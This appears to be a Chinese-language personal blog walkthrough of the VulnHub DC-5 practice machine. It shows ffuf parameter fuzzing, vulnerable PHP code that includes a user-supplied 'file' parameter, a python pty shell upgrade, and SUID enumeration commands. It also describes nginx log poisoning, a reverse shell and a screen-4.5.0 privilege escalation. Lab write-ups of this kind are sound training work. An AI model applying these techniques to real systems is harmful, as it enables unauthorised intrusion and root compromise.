# 前言
继续将这个系列更新完,一直有各种事。这里也是简单看了一下这个靶机,看起来也是比较简单,刚好看 java 看的头大,抽时间完善一下这个系列换换脑子。
# 环境搭建
靶机地址:DC: 5 ~ VulnHub
使用 VMware 搭建环境(这个参考这个系列的第一篇即可 DC-1 - Vulnhub | Clown の Blog = (xcu.icu),环境搭建都一样,这里我还是将网络模式改为了 nat)
# 打靶流程
首先还是最基础的信息收集
这里可以看到这里开放了两个端口,接着对两个端口进行协议的发现
这里我还是首先对这个 111 端口通过已知的漏洞进行了一系列的测试 ,但是没有发现有能够使用的,所以这里我接着去看这个开放的 web 服务
这里就是一个简单的网站,上面的标题栏我也进行的简单的测试但是实际上也没有发现什么有用的信息,所以这里我对其进行了目录扫描来进行进一步的信息扫描
这里有两个在标题栏上没有存在的文件,footer.php 和 thankyou.php
这个页脚文件就是一个显示时间的作用
thankyou.php 这个文件就是一个感谢页,这个感谢页我开始一直感觉有问题,直到我提交了一个留言,发现这个就是没什么特别的感谢页
联系到上面的 footer.php,我发现感谢页面这里每次刷新的时候这个页脚的时间都会改变,我就简单尝试了一下 footer.php 文件,发现这个刷新时间也是在改变的,这就很微妙了,很显然页面这里的页脚都是使用的这个 footer.php 文件,代码重复使用肯定是通过文件包含进来的,这里使用 ffuf 来爆破一下参数
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:A -w b.txt:B -u http://192.168.246.147/thankyou.php?A=B -fs 0 | |
-w 字典 | |
-u 跟地址 | |
字典:A 为了区分,将第一个字典取名为A。 | |
-fs 0 筛选爆破结果(过滤掉为0的结果) |
这里发现这样比较难识别,所有的参数测试回显都是 852,要找到其中的一个比较困难,这里将参数修改一下
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:A -w b.txt:B -u http://192.168.246.147/thankyou.php?A=B -fs 852 |
这样就拿到了参数,存在文件包含,我们发现文件包含最简单的几种利用思路比如说包含上传图片马,包含日志文件、利用 proc/self/environ 文件 getshell、伪协议利用。简单的测试了一下发现 filter 协议是可以使用的
<!doctype html> | |
<html lang="en"> | |
<head> | |
<meta charset="utf-8"> | |
<title>Contact</title> | |
<link rel="stylesheet" href="css/styles.css"> | |
</head> | |
<body> | |
<div class="body-wrapper"> | |
<div class="header-wrapper"> | |
<header> | |
DC-5 is alive! | |
</header> | |
</div> | |
<div class="menu-wrapper"> | |
<menu> | |
<ul> | |
<a href="index.php"><li>Home</li></a> | |
<a href="solutions.php"><li>Solutions</li></a> | |
<a href="about-us.php"><li>About Us</li></a> | |
<a href="faq.php"><li>FAQ</li></a> | |
<a href="contact.php"><li>Contact</li></a> | |
</ul> | |
</menu> | |
</div> | |
<div class="body-content"> | |
<h2>Thank You</h2> | |
<p>Thank you for taking the time to contact us.</p> | |
</div> | |
<div class="footer-wrapper"> | |
<footer> | |
<?php | |
$file = $_GET['file']; | |
if(isset($file)) | |
{ | |
include("$file"); | |
} | |
else | |
{ | |
include("footer.php"); | |
} | |
?> | |
</footer> | |
</div> | |
</div> | |
</body> | |
</html> |
这里就一个文件包含,其他页面就只是静态页面,,,,
那么就剩下日志包含了
在 http 这里找到了目标是 nginx1.6,这里尝试去包含 /var/log/nginx/access.log
好消息成功了,坏消息刚刚测试的太多了,日志一堆,但是并没什么影响这里直接先让其记录一句话
然后尝试包含日志文件去连接
这样就可以了,然后反弹一个 shell 出来
将这个终端使用 python 优化一下
python -c 'import pty;pty.spawn("/bin/bash")' |
接下来就是提权了
查看有 suid 的文件夹
find / -user root -perm -4000 -print 2>/dev/null | |
find / -perm -u=s -type f 2>/dev/null | |
find / -user root -perm -4000 -exec ls -ldb {} \; |
这个命令是用于在 Linux 系统上查找所有具有 SUID(Set User ID)权限的文件的。SUID 权限允许用户在执行可执行文件时以文件所有者的身份而不是执行用户的身份来运行该文件。
上面都是一些较为常见的有 suid 权限的命令,这里有一个 exim4 是存在漏洞的
这里先查看一下版本是 4.84_2
但是也没找到能利用的提权方式,所以还是将目光放回到 screen-4.5.0 上
这里直接将第一个文件复制一份出来
上传到靶机上更改一下权限,然后运行就可以了
关机睡觉